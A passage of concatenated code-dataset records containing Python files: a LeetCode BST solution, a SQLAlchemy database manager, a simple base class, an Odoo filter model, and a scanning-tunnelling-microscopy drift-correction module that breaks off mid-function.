main()\n","repo_name":"jervisfm/rebbr","sub_path":"mahimahi/test_plot.py","file_name":"test_plot.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"} +{"seq_id":"15938993086","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def inorder(self, root, order):\n if not root: return\n self.inorder(root.left, order)\n order.append(root.val)\n self.inorder(root.right, order)\n \n def kthSmallest(self, root: Optional[TreeNode], k: int) -> int:\n \n # order = []\n # self.inorder(root, order)\n # return order[k-1]\n \n if not root: return\n \n stack = []\n \n while True:\n while root:\n stack.append(root)\n root = root.left\n root = stack.pop()\n k -= 1\n if k == 0:\n return root.val\n root = root.right\n \n \n ","repo_name":"jash56/LeetCode","sub_path":"230-kth-smallest-element-in-a-bst/230-kth-smallest-element-in-a-bst.py","file_name":"230-kth-smallest-element-in-a-bst.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73267872081","text":"import os\n\nimport logging\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.pool import StaticPool\n\nfrom appadmin.models.interface_model import Page, Role, User\n\nLOG = logging.getLogger(__name__)\n\n\nclass DBManagerError(Exception):\n \"\"\"Custom Exception for Augmenters.\"\"\"\n\n def __init__(self, message):\n \"\"\"Create a new exception.\n\n Arguments:\n message (str): Exception description\n\n \"\"\"\n super(DBManagerError, self).__init__(message)\n LOG.info(message)\n\n\ndef manage_sql_exceptions(func):\n def wrap(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except Exception as inst:\n args[0].session.rollback()\n raise \n return wrap\n\n\nclass NamedSingleton(type):\n _instances = {}\n\n def __call__(cls, *args, **kwargs):\n if cls not in cls._instances:\n cls._instances[cls] = {}\n\n data_base_name = kwargs.get('data_base_name', 'descens_infantil')\n\n if data_base_name not in cls._instances[cls]:\n cls._instances[cls][data_base_name] = \\\n super(NamedSingleton, cls).__call__(*args, **kwargs)\n elif not cls._instances[cls][data_base_name].engine:\n cls._instances[cls][data_base_name] = \\\n super(NamedSingleton, cls).__call__(*args, **kwargs)\n\n return cls._instances[cls][data_base_name]\n\n\nclass DBManager(metaclass=NamedSingleton):\n \"\"\"Performs the connection and interaction to the data base\n \"\"\"\n\n def __init__(self, data_base_name='descens_infantil', data_base_type='SQLite',\n user='admin', password='12345', host='localhost', clean=False,\n data_base_path=None):\n \"\"\"Creates a new connection to the database\n\n Keyword Arguments:\n data_base_name {string} -- Data base name (default: {scraping_corrector})\n data_base_type {string} -- Type of data base it could be mySQL or SQLite\n (default: {SQLite})\n user {string} -- User name used by mySQL (default: {scraping_corrector})\n password {string} -- Password used by mySQL (default: {password})\n clean {bool} -- Empties the database (default: {False})\n\n Raises:\n Exception -- Not implemented\n \"\"\"\n self.data_base_name = data_base_name\n self.data_base_type = data_base_type\n self.data_base_user = user\n self.data_base_password = password\n self.data_base_host = host\n self.data_base_local_path = None\n self.data_base_path = data_base_path\n\n self.config = None\n\n self.connect(clean=clean)\n\n def connect(self, clean=False):\n if self.data_base_type == 'SQLite':\n print('Using SQLite')\n\n if not self.data_base_path:\n tmp_dir = os.path.join(\n os.path.dirname(\n os.path.dirname(\n os.path.abspath(__file__))), 'data/databases/')\n\n if not os.path.isdir(tmp_dir):\n os.makedirs(tmp_dir)\n\n self.data_base_path = os.path.join(\n tmp_dir, '{}.sqlite'.format(self.data_base_name))\n\n if clean:\n if os.path.exists(self.data_base_path):\n os.remove(self.data_base_path)\n\n print('Data Base Path: {}'.format(self.data_base_path))\n\n self.data_base_local_path = 'sqlite:///{}'.format(\n self.data_base_path)\n\n self.engine = create_engine(\n self.data_base_local_path, echo=False,\n connect_args={'check_same_thread': False},\n poolclass=StaticPool)\n\n session = sessionmaker(bind=self.engine)\n self.session = session()\n elif self.data_base_type == 'mySQL':\n print('Using mySQL')\n\n self.data_base_local_path = \\\n 'mysql+mysqldb://{}:{}@{}/{}'.format(\n self.data_base_user, self.data_base_password,\n self.data_base_host, self.data_base_name)\n self.engine = create_engine(\n self.data_base_local_path,\n echo=False)\n\n self.engine.connect()\n\n session = sessionmaker(bind=self.engine)\n self.session = session()\n\n if clean:\n sql_sentence = \\\n 'DROP DATABASE {}'.format(self.data_base_name)\n\n self.session.execute(sql_sentence)\n self.session.commit()\n\n sql_sentence = \\\n 'CREATE DATABASE {}'.format(self.data_base_name)\n\n self.session.execute(sql_sentence)\n self.session.commit()\n\n sql_sentence = \\\n 'USE {}'.format(self.data_base_name)\n\n self.session.execute(sql_sentence)\n self.session.commit()\n else:\n raise Exception('Not implemented for database: {}'.format(\n data_base_type))\n self.commit()\n\n def get_integrity_tests(self):\n return list(self.models.keys())\n\n def check_model_integrity(self, model):\n try:\n self.session.query(self.models[model]).first()\n return None\n except Exception as e:\n return \\\n 'Problems with model {}, table {},{}'.format(\n model, self.models[model].__table__.name,\n str(e).split('[')[0].split(')')[-1])\n\n def check_integrity(self):\n problems = []\n for key, model in self.models.items():\n try:\n self.session.query(model).first()\n except Exception as e:\n problems.append(\n 'Problems with model {}, table {},{}'.format(\n key, model.__table__.name,\n str(e).split('[')[0].split(')')[-1]))\n\n return problems\n\n def close(self):\n self.session.close()\n self.engine.dispose()\n \n self.session = None\n self.engine = None\n\n def create_all(self, base):\n base.metadata.create_all(self.engine)\n\n def is_alive(self):\n try:\n self.session.execute('SELECT 1 AS is_alive;')\n return True\n except:\n return False\n\n @manage_sql_exceptions\n def execute(self, command):\n return self.session.execute(command)\n\n @manage_sql_exceptions\n def add(self, element):\n \"\"\"Adds a new row to a table\n\n Arguments:\n element {object} -- table object\n \"\"\"\n self.session.add(element)\n self.session.flush()\n\n @manage_sql_exceptions\n def commit(self):\n \"\"\"Adds persistend changes to the data base which can not be rolled back\n \"\"\"\n self.session.commit()\n\n @manage_sql_exceptions\n def delete(self, element):\n \"\"\"Deletes an element\n\n Arguments:\n element {object} -- table object\n \"\"\"\n self.session.delete(element)\n\n @manage_sql_exceptions\n def rollback(self):\n \"\"\"Undo the changes if something when wrong\n \"\"\"\n self.session.rollback()\n\n @manage_sql_exceptions\n def flush(self):\n \"\"\"Adds changes to the database but they can be rolled back\n \"\"\"\n self.session.flush()\n\n @manage_sql_exceptions\n def query(self, element):\n return self.session.query(element)\n\n def get_config(self, force=False):\n \"\"\"Returns a dictionary with the key as the configuration key and value as its value.\n\n Returns:\n Dictionray -- With key as the configuration key and value as its value.\n \"\"\"\n\n if not self.config or force:\n self.config = {}\n\n result = self.execute(\n 'SELECT configuration.key, configuration.value '\n 'FROM configuration').fetchall()\n\n for row in result:\n self.config[row['key']] = row['value']\n\n return self.config\n\n def get_roles(self):\n return self.query(Role).all()\n\n def get_role_by_id(self, role_id):\n return self.query(Role).filter_by(id=role_id).first()\n\n def delete_role_by_id(self, role_id):\n role = self.query(Role).filter_by(id=role_id).one()\n name = role.name\n self.delete(role)\n return name\n\n def get_pages(self, include_all=False):\n if include_all:\n return self.query(Page).all()\n\n return self.query(Page).filter(~Page.name.in_(['base', 'main'])).all()\n\n def get_page_by_name(self, page_name):\n return self.query(Page).filter_by(name=page_name).first()\n\n def add_page(self, name, description=None, default_role='Admin'):\n page = Page(name, description=description)\n\n if default_role:\n admin = self.query(Role).filter_by(name=default_role).one()\n page.roles.append(admin)\n\n self.add(page)\n self.commit()\n\n return page\n","repo_name":"marcvivet/descens_infantil","sub_path":"pyapp/appadmin/utils/db_manager.py","file_name":"db_manager.py","file_ext":"py","file_size_in_byte":9073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6162185485","text":"#!/usr/bin/python3\n\n\"\"\"\ndefines a Base class that should be the parent of all other created\nclasses in this code\n\"\"\"\n\n\nclass Base:\n \"\"\"\n contains:\n private attributes: __nb_objects\n public attributes: id\n \"\"\"\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\"\n it checks:\n - if id is not None, assign the public instance attribute id with this\n argument value - you can assume id is an integer and you don’t need\n to test the type of it\n\n - otherwise, increment __nb_objects and assign the new value to the\n public instance attribute id\n \"\"\"\n if id is not None:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n","repo_name":"moostafa1/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21832820666","text":"from openerp import models, fields, api, _\n\n\nclass ModelDictionaryFieldFilterMF(models.Model):\n _name = \"model.dictionary.field.filter.mf\"\n _description = \"MyFab model dictionary link between a field and it's filters\"\n\n # ===========================================================================\n # COLUMNS\n # ===========================================================================\n name = fields.Char(string=\"Name\", size=64, required=False, help='')\n model_dictionary_mf = fields.Many2one(string=\"Model dictionary parent\")\n field_to_export_mf = fields.Many2one(\"ir.model.fields\", string=\"Field to filter\", required=True,\n domain=lambda self: self._get_field_to_export_domain())\n value_comparisons_mf = fields.One2many(\"filter.value.comparison.mf\", \"model_dictionary_field_mf\",\n string=\"Value compare filters\", ondelete=\"cascade\")\n datetime_delta_min_mf = fields.Many2one(\"filter.datetime.delta.mf\",\n string=\"Datetime delta minimum filter\")\n datetime_delta_max_mf = fields.Many2one(\"filter.datetime.delta.mf\",\n string=\"Datetime delta maximum filter\")\n hide_filters_view = fields.Boolean(compute='compute_hide_filters_view', default=True)\n hide_filters_datetime_view = fields.Boolean(compute='compute_hide_filters_datetime_view')\n number_of_filters_on_field = fields.Integer(compute='compute_number_of_filters_on_field',\n string=\"Number of filters on field\", readonly=True)\n\n @api.model\n def _get_field_to_export_domain(self):\n if \"model_to_filter_id\" in self.env.context:\n model_to_filter_id = self.env.context[\"model_to_filter_id\"]\n model = self.env[\"ir.model\"].search([(\"id\", \"=\", model_to_filter_id)], None, 1)\n return [(\"id\", \"in\", [field.id for field in model.field_id])]\n return []\n\n @api.one\n @api.depends(\"field_to_export_mf\")\n def compute_hide_filters_view(self):\n self.hide_filters_view = (not self.field_to_export_mf)\n\n @api.one\n @api.depends(\"field_to_export_mf\")\n def compute_hide_filters_datetime_view(self):\n self.hide_filters_datetime_view = (not self.field_to_export_mf.ttype == \"datetime\")\n\n @api.one\n @api.depends(\"value_comparisons_mf\", \"datetime_delta_min_mf\", \"datetime_delta_max_mf\")\n def compute_number_of_filters_on_field(self):\n self.number_of_filters_on_field = len(self.value_comparisons_mf)\n if self.field_to_export_mf.ttype in [\"datetime\", \"date\"]:\n if self.datetime_delta_min_mf:\n self.number_of_filters_on_field += 1\n if self.datetime_delta_max_mf:\n self.number_of_filters_on_field += 1\n\n def get_field_filters_list_to_apply(self):\n field_name = self.field_to_export_mf.name\n filters_list = []\n if self.field_to_export_mf.ttype in [\"datetime\", \"date\"]:\n if self.datetime_delta_min_mf:\n filters_list.append(self.datetime_delta_min_mf.get_filter_tuple(field_name, '>='))\n if self.datetime_delta_max_mf:\n filters_list.append(self.datetime_delta_max_mf.get_filter_tuple(field_name, '<='))\n for value_comparison in self.value_comparisons_mf:\n filters_list.append(value_comparison.get_filter_tuple(field_name))\n return filters_list\n\n\n","repo_name":"kazacube-mziouadi/TEST-MIRROR","sub_path":"myfab_file_interface/classes/ModelDictionaryFieldFilterMF.py","file_name":"ModelDictionaryFieldFilterMF.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12636501533","text":"from __future__ import print_function\ntry:\n import cv2\nexcept ModuleNotFoundError:\n print(\"Please install opencv-python module using following command:\\npip3 install opencv-python\")\nimport stmpy\nimport numpy as np\nimport scipy as sp\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport scipy.optimize as opt\nimport scipy.ndimage as snd\nfrom scipy.interpolate import interp1d, interp2d\nfrom skimage import transform as tf\nfrom skimage.feature import peak_local_max\n#import stmpy.driftcorr as dfc\n\n'''\nLocal drift correction of square/triangular lattice. (Please carefully rewrite if a rectangular lattice version is needed.)\n\nUsage:\n0. please import stmpy.driftcorr (Package 'skimage' required, run 'pip install -U scikit-image' in terminal);\n\n1. findBraggs: FT the topo image (please interpolate to be 2D square array if not), then find all Bragg peaks by peak_local_max, plot result with abs(FT) to check validity (sometimes points in the center should be removed);\n\n2. gshearcorr: global shear correction, outputs corrected image and positions of the corrected Bragg peaks;\n\n3. phasemap: use the new Bragg peaks to generate local phase shift (theta) maps. Use chkphasemap get phase (phi) maps and check if pi lines in those matches with raw image. If not, please check your Bragg peaks or adjust sigma in the FT DC filter;\n\n4. fixphaseslip: fix phase slips of 2d phase maps in a 1d spiral way.(this is not well developed yet. Phase slips could still be present\nnear edges after processing, please crop images and DOS maps accordingly and manually AFTER applying driftmap.) Output is 2d array in the same shape as the input array;\n\n5. driftmap: calculate drift fields u(x,y) in both x and y directions;\n\n6. driftcorr: local drift correction using u(x,y) on 2D (topo) or 3D(DOS map) input.\n\n7. (OPTIONAL) chkperflat: check perfect lattice generated by Q1, Q2 (to be improved)\n\nREFERENCES:\n[1] MH Hamidian, et al. \"Picometer registration of zinc impurity states in Bi2Sr2CaCu2O8+d for phase determination in intra-unit-cell Fourier transform STM\", New J. Phys. 14, 053017 (2012).\n[2] JA Slezak, PhD thesis (Ch. 3), http://davisgroup.lassp.cornell.edu/theses/Thesis_JamesSlezak.pdf\n\nHistory:\n 2017-04-28 CREATED BY JIANFENG GE\n 04/29/2019 RL : Add documents for all functions. Add another method to calculate phasemap.\n Add inverse FFT method to apply the drift field.\n'''\n\n#1. - getAttrs\ndef getAttrs(obj, a0, size=None, pixels=None):\n '''\n Create attributes of lattice constant, map size, number of pixels, and qscale for Spy object.\n\n Input:\n obj - Required : Spy object of topo (2D) or map (3D).\n a0 - Required : Lattice constant in the unit of nm.\n size - Optional : Size of the map in the unit of nm. If not offered, it'll be created\n automatically from header file.\n pixels - Optional : Number of pixels of the topo/map. If not offered, it'll be created\n automatically from header file.\n\n Returns:\n N/A\n\n Usage:\n import stmpy.driftcorr as dfc\n dfc.getAttrs(topo, a0=a0)\n\n '''\n if size is None:\n try:\n size = obj.header['scan_range'][-1]\n except KeyError:\n try:\n size = float(obj.header['Grid settings'].split(\";\")[-2])\n except:\n print(\"Error: Cannot find map size from header. Please input it manually.\")\n if pixels is None:\n try:\n pixels = int(obj.header['scan_pixels'][-1])\n except KeyError:\n try:\n pixels = int(obj.header['Grid dim'].split()[-1][:-1])\n except:\n print(\"Error: Cannot find number of pixels from header. Please input it manually.\")\n obj.a0 = a0\n obj.size = size * 1e9\n obj.pixels = pixels\n obj.qmag = obj.size / obj.a0\n obj.qscale = obj.pixels / (2*obj.qmag)\n\n#2. - findBraggs\ndef findBraggs(A, obj=None, rspace=True, min_dist=5, thres=0.25, r=0.25, \\\n w=None, maskon=True, show=False, angle=0, update_obj=True):\n '''\n Find Bragg peaks in the unit of pixels of topo or FT pattern A using peak_local_max. If obj is offered,\n an attribute of bp will be created for obj.\n\n Input:\n A - Required : 2D array of topo in real space, or FFT in q space.\n obj - Optional : Object associated with A\n min_dist - Optional : Minimum distance (in pixels) between peaks. Default: 5\n thres - Optional : Minimum intensity of Bragg peaks relative to max value. Default: 0.25\n rspace - Optional : Boolean indicating if A is real or Fourier space image. Default: True\n r - Optional : width of the gaussian mask to remove low-q noise, =r*width\n w - Optional : width of the mask that filters out noise along qx=0 and qy=0 lines.\n Set w=None will disable this mask.\n angle - Optional : Angle of line masks in degrees.\n maskon - Optional : Boolean, if False then no mask will be applied.\n show - Optional : Boolean, if True then A and Bragg peaks will be plotted out.\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n\n Returns:\n coords - (4x2) array contains Bragg peaks in the format of [[x1,y1],[x2,y2],...,[x4,y4]]\n\n Usage:\n import stmpy.driftcorr as dfc\n bp = dfc.findBraggs(A, obj=topo, min_dist=10, thres=0.2, rspace=True, show=True)\n\n History:\n 04/28/2017 JG : Initial commit.\n 04/29/2019 RL : Add maskon option, add outAll option, and add documents.\n\n '''\n if rspace is True:\n F = stmpy.tools.fft(A, zeroDC=True)\n else:\n F = np.copy(A)\n # Remove low-q high intensity data with Gaussian mask\n if maskon is True:\n *_, Y, X = np.shape(A)\n Lx = X * r\n Ly = Y * r\n x = np.arange(X)\n y = np.arange(Y)\n p0 = [int(X/2), int(Y/2), Lx, Ly, 1, np.pi/2]\n G = 1-stmpy.tools.gauss2d(x, y, p=p0)\n if w is not None:\n mask3 = np.ones([Y, X])\n mask3[Y//2-int(Y*w):Y//2+int(Y*w),:] = 0\n mask3[:,X//2-int(X*w):X//2+int(X*w)] = 0\n else:\n mask3 = 1\n F *= G * mask3\n if obj is not None:\n L = np.shape(A)[-1]\n x = np.arange(L)\n y = np.arange(L)\n mask2 = stmpy.tools.gauss_ring(x, y, major=obj.qmag, minor=obj.qmag,\n sigma=10, x0=L/2, y0=L/2)\n F *= mask2*mask3\n coords = peak_local_max(F, min_distance=min_dist, threshold_rel=thres)\n coords = np.fliplr(coords)\n\n if show is True:\n plt.figure(figsize=[4,4])\n c = np.mean(F)\n s = np.std(F)\n plt.imshow(F, cmap=plt.cm.gray_r, interpolation='None', origin='lower left', clim=[0,c+5*s], aspect=1)\n plt.plot(coords[:, 0], coords[:, 1], 'r.')\n plt.gca().set_aspect(1)\n plt.axis('tight')\n print('#:\\t[x y]')\n for ix, iy in enumerate(coords):\n print(ix, end='\\t')\n print(iy)\n if obj is not None:\n if update_obj is True:\n obj.bp = coords\n return coords\n\n#3. - gshearcorr\ndef gshearcorr(A, bp=None, obj=None, rspace=True, pts1=None, pts2=None, angle=np.pi/4, matrix=None, update_obj=True):\n '''\n Global shear correction based on position of Bragg peaks in FT of 2D or 3D array A\n\n Inputs:\n A - Required : 2D or 3D array to be shear corrected.\n bp - Required : (Nx2) array contains Bragg peaks in the unit of pixels.\n obj - Optional : Spy object of topo (2D) or map (3D).\n rspace - Optional : Boolean indicating if A is real or Fourier space image. Default: True\n pts1 - Optional : 3x2 array containing coordinates of three points in the raw FT (center,\n bg_x, bg_y).\n pts2 - Optional : 3x2 array containing coordinates of three corresponding points in the corrected\n FT (i.e., model center and bg_x and bg_y coordinates).\n angle - Optional : Specify angle between scan direction and lattice unit vector direction (x and ux direction)\n in the unit of radian. Default is pi/4 -- 45 degrees rotated.\n matrix - Optional : If provided, matrix will be used to transform the dataset directly\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n\n Returns:\n A_corr - 2D or 3D array after global shear correction.\n M - Transformation matrix to shear correct the topo/map\n\n Usage:\n import stmpy.driftcorr as dfc\n M, A_gcorr = dfc.gshearcorr(A, bp, obj=topo, rspace=True)\n '''\n *_, s2, s1 = np.shape(A)\n bp_temp = bp\n if matrix is None:\n if pts1 is None:\n bp = sortBraggs(bp, s=np.shape(A))\n s = np.array(np.shape(A))\n bp_temp = bp * s\n center = [int(s[0]*s[1]/2), int(s[0]*s[1]/2)]\n Q1, Q2, Q3, Q4, *_ = bp_temp\n if obj is None:\n Qx_mag = compute_dist(Q1, center)\n Qy_mag = compute_dist(Q2, center)\n Q_corr = np.mean([Qx_mag, Qy_mag])\n else:\n Q_corr = obj.qmag\n Qc1 = Q_corr*np.array([-np.cos(angle), -np.sin(angle)]) + center\n Qc2 = Q_corr*np.array([np.sin(angle), -np.cos(angle)]) + center\n Q1, Q2, Q3, Q4, *_ = bp\n Qc2 = Qc2 / s\n Qc1 = Qc1 / s\n center = [int(s2/2),int(s1/2)]\n print(Q1,Q2,Qc1,Qc2,center)\n pts1 = np.float32([center,Q1,Q2])\n else:\n pts1 = pts1.astype(np.float32)\n if pts2 is None:\n pts2 = np.float32([center,Qc1,Qc2])\n else:\n pts2 = pts2.astype(np.float32)\n M = cv2.getAffineTransform(pts1,pts2)\n else:\n M = matrix\n\n if rspace is not True:\n A_corr = cv2.warpAffine(A, M, (s2,s1),\n flags=(cv2.INTER_CUBIC + cv2.BORDER_CONSTANT))\n else:\n M[:,-1] = np.array([0,0])\n offset = np.min(A)\n A = A - offset\n A_corr = cv2.warpAffine(np.flipud(A.T), M, (s2,s1),\n flags=(cv2.INTER_CUBIC + cv2.BORDER_CONSTANT))\n A_corr = np.flipud(A_corr).T + offset\n return M, A_corr\n\n\n#4. phasemap\ndef phasemap(A, bp, obj=None, sigma=10, method=\"lockin\", update_obj=True):\n '''\n Calculate local phase and phase shift maps. Two methods are available now: spatial lockin or Gaussian mask convolution\n\n Input:\n A - Required : 2D arrays after global shear correction with bad pixels cropped on the edge\n bp - Required : Coords of Bragg peaks of FT(A), can be computed by findBraggs(A)\n obj - Optional : Spy object of topo (2D) or map (3D).\n sigma - Optional : width of DC filter in lockin method or len(A)/s\n method - Optional : Specify which method to use to calculate phase map.\n \"lockin\": Spatial lock-in method to find phase map\n \"convolution\": Gaussian mask convolution method to find phase map\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n\n Returns:\n thetax - 2D array, Phase shift map in x direction, relative to perfectly generated cos lattice\n thetay - 2D array, Phase shift map in y direction, relative to perfectly generated cos lattice\n Q1 - Coordinates of 1st Bragg peak\n Q2 - Coordinates of 2nd Bragg peak\n\n Usage:\n import stmpy.driftcorr as dfc\n thetax, thetay, Q1, Q2 = dfc.phasemap(A, bp, sigma=10, method='lockin')\n\n History:\n 04/28/2017 JG : Initial commit.\n 04/29/2019 RL : Add \"convolution\" method, and add documents.\n 11/30/2019 RL : Add support for non-square dataset\n '''\n\n *_, s2, s1 = A.shape\n s = np.minimum(s1, s2)\n bp = sortBraggs(bp, s=np.shape(A))\n t1 = np.arange(s1, dtype='float')\n t2 = np.arange(s2, dtype='float')\n x, y = np.meshgrid(t1, t2)\n Q1 = 2*np.pi*np.array([(bp[0][0]-int(s1/2))/s1, (bp[0][1]-int(s2/2))/s2])\n Q2 = 2*np.pi*np.array([(bp[1][0]-int(s1/2))/s1, (bp[1][1]-int(s2/2))/s2])\n if method is \"lockin\":\n Axx = A * np.sin(Q1[0]*x+Q1[1]*y)\n Axy = A * np.cos(Q1[0]*x+Q1[1]*y)\n Ayx = A * np.sin(Q2[0]*x+Q2[1]*y)\n Ayy = A * np.cos(Q2[0]*x+Q2[1]*y)\n Axxf = FTDCfilter(Axx, sigma)\n Axyf = FTDCfilter(Axy, sigma)\n Ayxf = FTDCfilter(Ayx, sigma)\n Ayyf = FTDCfilter(Ayy, sigma)\n thetax = np.arctan2(Axxf, Axyf)\n thetay = np.arctan2(Ayxf, Ayyf)\n if obj is not None:\n if update_obj is True:\n obj.phix = thetax\n obj.phiy = thetay\n obj.Q1 = Q1\n obj.Q2 = Q2\n return thetax, thetay, Q1, Q2\n elif method is \"convolution\":\n t_x = np.arange(s1)\n t_y = np.arange(s2)\n xcoords, ycoords = np.meshgrid(t_x, t_y)\n exponent_x = (Q1[0] * xcoords + Q1[1] * ycoords)#(2.* np.pi/s)*(Q1[0] * xcoords + Q1[1] * ycoords)\n exponent_y = (Q2[0] * xcoords + Q2[1] * ycoords)#(2.* np.pi/s)*(Q2[0] * xcoords + Q2[1] * ycoords)\n A_x = A * np.exp(np.complex(0,-1)*exponent_x)\n A_y = A * np.exp(np.complex(0,-1)*exponent_y)\n sx = sigma\n sy = sigma * s1 / s2\n Amp = 1/(4*np.pi*sx*sy)\n p0 = [int(s/2), int(s/2), sx, sy, Amp, np.pi/2]\n G = stmpy.tools.gauss2d(t_x, t_y, p=p0, symmetric=True)\n T_x = sp.signal.fftconvolve(A_x, G, mode='same',)\n T_y = sp.signal.fftconvolve(A_y, G, mode='same',)\n R_x = np.abs(T_x)\n R_y = np.abs(T_y)\n phi_y = np.angle(T_y)\n phi_x = np.angle(T_x)\n if obj is not None:\n if update_obj is True:\n obj.phix = phi_x\n obj.phiy = phi_y\n obj.Q1 = Q1\n obj.Q2 = Q2\n return phi_x, phi_y, Q1, Q2\n else:\n print('Only two methods are available now:\\n1. lockin\\n2. convolution')\n\n#5. fixphaseslip\ndef fixphaseslip(A, thres=None, maxval=None, method='unwrap', orient=0):\n '''\n Fix phase slip by adding 2*pi at phase jump lines.\n\n Inputs:\n A - Required : 2D arrays of phase shift map, potentially containing phase slips\n thres - Optional : Float number, specifying threshold for finding phase jumps in diff(A). Default: None\n method - Optional : Specifying which method to fix phase slips.\n \"unwrap\": fix phase jumps line by line in x direction and y direction, respectively\n \"spiral\": fix phase slip in phase shift maps by flattening A into a 1D array in a spiral way\n orient - Optional : Used in \"spiral\" phase fixing method. 0 for clockwise and 1 for counter-clockwise\n\n Returns:\n\n phase_corr - 2D arrays of phase shift map with phase slips corrected\n\n Usage:\n import stmpy.driftcorr as dfc\n thetaxf = dfc.fixphaseslip(thetax, method='unwrap')\n\n History:\n 04/28/2017 JG : Initial commit.\n 04/29/2019 RL : Add \"unwrap\" method, and add documents.\n '''\n output = np.copy(A[::-1,::-1])\n if len(np.shape(A)) == 2:\n *_, s2, s1 = np.shape(A)\n for i in range(s2):\n output[i,:] = unwrap_phase(output[i,:], tolerance=thres, maxval=maxval)\n for i in range(s1):\n output[:,i] = unwrap_phase(output[:,i], tolerance=thres, maxval=maxval)\n return output[::-1,::-1]\n\ndef unwrap_phase(ph, tolerance=None, maxval=None):\n maxval = 2 * np.pi if maxval is None else maxval0\n tol = 0.25*maxval if tolerance is None else tolerance*maxval\n if len(ph) < 2:\n return ph\n\n dph = np.diff(ph)\n dph[np.where(np.abs(dph) < tol)] = 0\n dph[np.where(dph < -tol)] = 1\n dph[np.where(dph > tol)] = -1\n ph[1:] += maxval * np.cumsum(dph)\n return ph\n\n#6. driftmap\ndef driftmap(phix=None, phiy=None, Q1=None, Q2=None, obj=None, method=\"lockin\", update_obj=True):\n '''\n Calculate drift fields based on phase shift maps, with Q1 and Q2 generated by phasemap.\n\n Inputs:\n obj - Optional : Spy object of topo (2D) or map (3D).\n phix - Optional : 2D arrays of phase shift map in x direction with phase slips corrected\n phiy - Optional : 2D arrays of phase shift map in y direction with phase slips corrected\n Q1 - Optional : Coordinates of 1st Bragg peak, generated by phasemap\n Q2 - Optional : Coordinates of 2nd Bragg peak, generated by phasemap\n method - Optional : Specifying which method to use.\n \"lockin\": Used for phase shift map generated by lockin method\n \"convolution\": Used for phase shift map generated by lockin method\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n\n Returns:\n ux - 2D array of drift field in x direction\n uy - 2D array of drift field in y direction\n\n Usage:\n import stmpy.driftcorr as dfc\n ux, uy = dfc.driftmap(thetaxf, thetayf, Q1, Q2, method='lockin')\n\n History:\n 04/28/2017 JG : Initial commit.\n 04/29/2019 RL : Add \"lockin\" method, and add documents.\n 11/30/2019 RL : Add support for non-square dataset\n '''\n if method is \"lockin\":\n tx = np.copy(phix)\n ty = np.copy(phiy)\n ux = -(Q2[1]*tx - Q1[1]*ty) / (Q1[0]*Q2[1]-Q1[1]*Q2[0])\n uy = -(Q2[0]*tx - Q1[0]*ty) / (Q1[1]*Q2[0]-Q1[0]*Q2[1])\n if obj is not None:\n if update_obj is True:\n obj.ux = ux\n obj.uy = uy\n return ux, uy\n elif method is \"convolution\":\n #s = np.shape(thetax)[-1]\n Qx_mag = np.sqrt((Q1[0])**2 + (Q1[1])**2)\n Qy_mag = np.sqrt((Q2[0])**2 + (Q2[1])**2)\n Qx_ang = np.arctan2(Q1[1],Q1[0]) # in radians\n Qy_ang = np.arctan2(Q2[1],Q2[0]) # in radians\n Qxdrift = 1/(Qx_mag) * phix#s/(2*np.pi*Qx_mag) * thetax\n Qydrift = 1/(Qy_mag) * phiy#s/(2*np.pi*Qy_mag) * thetay\n ux = Qxdrift * np.cos(Qx_ang) - Qydrift * np.sin(Qy_ang-np.pi/2)\n uy = Qxdrift * np.sin(Qx_ang) + Qydrift * np.cos(Qy_ang-np.pi/2)\n if obj is not None:\n if update_obj is True:\n obj.ux = -ux\n obj.uy = -uy\n return -ux, -uy\n else:\n print(\"Only two methods are available now:\\n1. lockin\\n2. convolution\")\n\n#7. - driftcorr\ndef driftcorr(A, ux=None, uy=None, obj=None, method=\"lockin\", interpolation='cubic'):\n '''\n Correct the drift in the topo according to drift fields\n\n Inputs:\n A - Required : 2D or 3D arrays of topo to be drift corrected\n obj - Optional : Spy object of topo (2D) or map (3D).\n ux - Optional : 2D arrays of drift field in x direction, generated by driftmap()\n uy - Optional : 2D arrays of drift field in y direction, generated by driftmap()\n method - Optional : Specifying which method to use.\n \"interpolate\": Interpolate A and then apply it to a new set of coordinates,\n (x-ux, y-uy)\n \"convolution\": Used inversion fft to apply the drift fields\n interpolation - Optional : Specifying which method to use for interpolating\n\n Returns:\n A_corr - 2D or 3D array of topo with drift corrected\n\n Usage:\n import stmpy.driftcorr as dfc\n A_corr = dfc.driftcorr(ux, uy, method='interpolate', interpolation='cubic')\n\n History:\n 04/28/2017 JG : Initial commit.\n 04/29/2019 RL : Add \"invfft\" method, and add documents.\n 11/30/2019 RL : Add support for non-square dataset\n '''\n if method is \"lockin\":\n A_corr = np.zeros_like(A)\n *_, s2, s1 = np.shape(A)\n t1 = np.arange(s1, dtype='float')\n t2 = np.arange(s2, dtype='float')\n x, y = np.meshgrid(t1, t2)\n xnew = (x - ux).ravel()\n ynew = (y - uy).ravel()\n tmp = np.zeros(s1*s2)\n if len(A.shape) is 2:\n tmp_f = interp2d(t1, t2, A, kind=interpolation)\n for ix in range(tmp.size):\n tmp[ix] = tmp_f(xnew[ix], ynew[ix])\n A_corr = tmp.reshape(s2, s1)\n return A_corr\n elif len(A.shape) is 3:\n 